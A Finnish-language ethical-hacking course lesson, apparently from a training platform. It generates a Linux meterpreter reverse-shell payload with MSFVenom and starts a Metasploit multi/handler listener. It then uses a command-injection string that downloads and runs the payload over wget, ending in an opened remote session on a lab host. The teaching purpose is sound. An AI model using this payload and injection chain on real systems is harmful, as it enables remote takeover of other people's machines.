MSFVenom on Metasploit Frameworkin komentorivipohjainen työkalu, jota käytetään haittaohjelman eli "payloadin" luomiseen ja mukauttamiseen. MSFVenom tarjoaa useita parametreja, joiden avulla voit mukauttaa haittaohjelmaasi, mukaan lukien tukemansa alustat, arkkitehtuurit, payload-tyypit ja koodityypit. Käyttäjä voi luoda haittaohjelmia, jotka toimivat eri ympäristöissä ja tarjoavat erilaisia hyökkäysmahdollisuuksia.
Tässä kurssissa generoidaan MSFVenom työkalulla haittaohjelma, siirretään se kohdekoneelle käyttämällä komentoinjektio-haavoittuvuutta ja luodaan sen avulla etäyhteys Metasploitin kuuntelijaan.
Aloitetaan tutustumalla MSFVenom työkaluun.
root@xh7dqx5tsk-student:/# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
root@xh7dqx5tsk-student:/#
MSFVenom tukee useita erilaisia payloadeja, formaatteja, alustoja, yms. Työkalu voi vaikuttaa monimutkaiselta, mutta ei sitä kuitenkaan ole. Lähdetään liikkeelle sillä, että listataan msfvenom työkalun tukemat payload tyypit komennolla msfvenom -l payloads.
...
windows/meterpreter/bind_hidden_tc Inject the Meterpreter server DLL v
p ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Listen for a connecti
on from a hidden port and spawn a c
ommand shell to the allowed host.
windows/meterpreter/bind_ipv6_tcp Inject the Meterpreter server DLL v
ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Listen for an IPv6 co
nnection (Windows x86)
windows/meterpreter/bind_ipv6_tcp_ Inject the Meterpreter server DLL v
uuid ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Listen for an IPv6 co
nnection with UUID Support (Windows
x86)
windows/meterpreter/bind_named_pip Inject the Meterpreter server DLL v
e ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Listen for a pipe con
nection (Windows x86)
windows/meterpreter/bind_nonx_tcp Inject the Meterpreter server DLL v
ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Listen for a connecti
on (No NX)
windows/meterpreter/bind_tcp Inject the Meterpreter server DLL v
ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Listen for a connecti
on (Windows x86)
windows/meterpreter/bind_tcp_rc4 Inject the Meterpreter server DLL v
ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Listen for a connecti
on
windows/meterpreter/bind_tcp_uuid Inject the Meterpreter server DLL v
ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Listen for a connecti
on with UUID Support (Windows x86)
windows/meterpreter/find_tag Inject the Meterpreter server DLL v
ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Use an established co
nnection
windows/meterpreter/reverse_hop_ht Inject the Meterpreter server DLL v
tp ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Tunnel communication
over an HTTP or HTTPS hop point. No
te that you must first upload data/
hop/hop.php to the PHP server you w
ish to use as a hop.
windows/meterpreter/reverse_http Inject the Meterpreter server DLL v
ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Tunnel communication
over HTTP (Windows wininet)
windows/meterpreter/reverse_http_p Inject the Meterpreter server DLL v
roxy_pstore ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Tunnel communication
over HTTP
windows/meterpreter/reverse_https Inject the Meterpreter server DLL v
ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Tunnel communication
over HTTPS (Windows wininet)
windows/meterpreter/reverse_https_ Inject the Meterpreter server DLL v
proxy ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Tunnel communication
over HTTP using SSL with custom pro
xy support
windows/meterpreter/reverse_ipv6_t Inject the Meterpreter server DLL v
cp ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Connect back to the a
ttacker over IPv6
windows/meterpreter/reverse_named_ Inject the Meterpreter server DLL v
pipe ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Connect back to the a
ttacker via a named pipe pivot
windows/meterpreter/reverse_nonx_t Inject the Meterpreter server DLL v
cp ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Connect back to the a
ttacker (No NX)
windows/meterpreter/reverse_ord_tc Inject the Meterpreter server DLL v
p ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Connect back to the a
ttacker
windows/meterpreter/reverse_tcp Inject the Meterpreter server DLL v
ia the Reflective Dll Injection pay
load (staged). Requires Windows XP
SP2 or newer. Connect back to the a
ttacker
...
Kuten listauksesta näkyy, niitä on lukematon määrä, riippuen alustasta ja hyökkäyksen tarkoituksesta. Joskus voit haluta luoda täyden etähallintayhteyden, kun taas toisinaan voit haluta vaikka luoda VNC yhteyden järjestelmään. Tarkoitusperiä voi olla monia ja niin myös eri payload tyyppejä. Listataan seuraavaksi msfvenomin tukemat formaatit.
root@xh7dqx5tsk-student:/# msfvenom -l formats
Framework Executable Formats [--format <value>]
===============================================
Name
----
asp
aspx
aspx-exe
axis2
dll
ducky-script-psh
elf
elf-so
exe
exe-only
exe-service
exe-small
hta-psh
jar
jsp
loop-vbs
macho
msi
msi-nouac
osx-app
psh
psh-cmd
psh-net
psh-reflection
python-reflection
vba
vba-exe
vba-psh
vbs
war
Framework Transform Formats [--format <value>]
==============================================
Name
----
base32
base64
bash
c
csharp
dw
dword
go
golang
hex
java
js_be
js_le
masm
nim
nimlang
num
perl
pl
powershell
ps1
py
python
raw
rb
ruby
rust
rustlang
sh
vbapplication
vbscript
root@xh7dqx5tsk-student:/#
Yllä olevasta listauksesta näkee kuinka työkalu tukee useita eri formaatteja ja koodi/skriptaus kieliä, millä haittaohjelma voidaan kirjoittaa. Tämänkin päättäminen riippuu täysin tilanteesta. Onko kyse Windows, Linux vai OS X koneesta? - Kenties kyseessä on verkkosivu?
Voit vapaasti kokeilla eri formaatteja ja käydä läpi MSFVenom työkalua. Luodaan seuraavaksi harjoitus haittaohjelma, joka luo meterpreter reverse shellin meidän kali koneelle, porttiin 6000.
root@xozrx14hxh-student:/# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.12.51 LPORT=6000 -f elf -o meterpreter-6000.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: meterpreter-6000.so
root@xozrx14hxh-student:/#
- -p kerrotaan, että mikä payload tyyppi.
- LHOST annetaan koneen IP, johon haittaohjelma ottaa yhteyttä
- LPORT annetaan portti mihin otetaan yhteyttä
- -f määritetään formaatti
- -o kerrotaan, että mihin halutaan tallentaa haittaohjelma
Avataan seuraavaksi kohteen verkkosivupalvelu ja etsitään siitä komentoinjektio haavoittuvuus, joka löytyy verkkodiagnostiikkatyökalusta.


Voimme käyttää tätä haavoittuvuutta hyväksi ja siirtää haittaohjelmamme kohdekoneelle. Tämän jälkeen suoritamme ohjelman komentoinjektion kautta ja saamme koneen etähallintaan. Ensin meidän tarvitsee kuitenkin asettaa oma kali koneemme kuuntelemaan, että voimme ottaa vastaan haittaohjelman luoman etäyhteyden. Käynnistetään siis msfconsole.
root@xh7dqx5tsk-student:/# msfconsole
Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
=[ metasploit v6.3.31-dev ]
+ -- --=[ 2346 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: View all productivity tips with the
tips command
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
Multi/handler toimii palvelimena, joka odottaa ja kuuntelee yhteyksiä hyökkäyksen kohteilta. Kun haavoittuvuuden hyödyntävä ohjelma suoritetaan kohdejärjestelmässä, multi/handler ottaa yhteyden tähän ohjelmaan ja mahdollistaa hyökkääjän saada etäyhteyden tai hallinnan kyseiseen järjestelmään.
Multi/handler on erityisen hyödyllinen Metasploitin puitteissa, koska se yhdistyy moneen eri hyökkäysmoduuliin ja antaa hyökkääjälle mahdollisuuden valita, miten hän hyödyntää haavoittuvuutta riippuen tilanteesta ja kohdejärjestelmästä.
Multi/handlerin voi valita moduuliksi käyttämällä use komentoa yllä olevan mallin mukaan. Katsotaan asetukset ja asetetaan ne kohdalleen. Meidän täytyy valita oikea meterpreter payload tyyppi ja asettaa verkkoasetukset oikein.
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.12.254
LHOST => 10.0.12.254
msf6 exploit(multi/handler) > set LPORT 6000
LPORT => 6000
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.12.254 yes The listen address (an interface may be specified)
LPORT 6000 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) >
Suoritetaan sitten run komento ja aloitetaan kuunteleminen.
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.12.254:6000
Seuraavaksi meidän täytyy siirtää generoimamme haittaohjelma kohdekoneelle ja suorittaa se. Tämän voimme suorittaa seuraavasti.
Aloitetaan ensin HTTP-palvelin, jonka avulla jaamme haitakkeen.
root@xh7dqx5tsk-student:/# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Sitten käytämme seuraavaa komentoinjektiota, joka lataa haittaohjelmamme, asettaa sille suoritusoikeudet ja suorittaa tämän.
8.8.8.8 | wget http://10.0.12.51:8000/meterpreter-6000.so && chmod +x meterpreter-6000.so && ./meterpreter-6000.so

Nyt meille pitäisi syntyä meterpreter-komentoriviyhteys palvelimeen.
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.12.51:6000
[*] Sending stage (3045380 bytes) to 10.0.12.85
[*] Meterpreter session 1 opened (10.0.12.51:6000 -> 10.0.12.85:40476) at 2023-10-16 14:57:09 +0000
meterpreter >
MSFVenom työkalu ja multi/handler ovat ehkä käytetyimmät koko Metasploit-kokonaisuudessa, johtuen niiden monikäyttöisyydestä ja hyödyllisyydestä.


Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.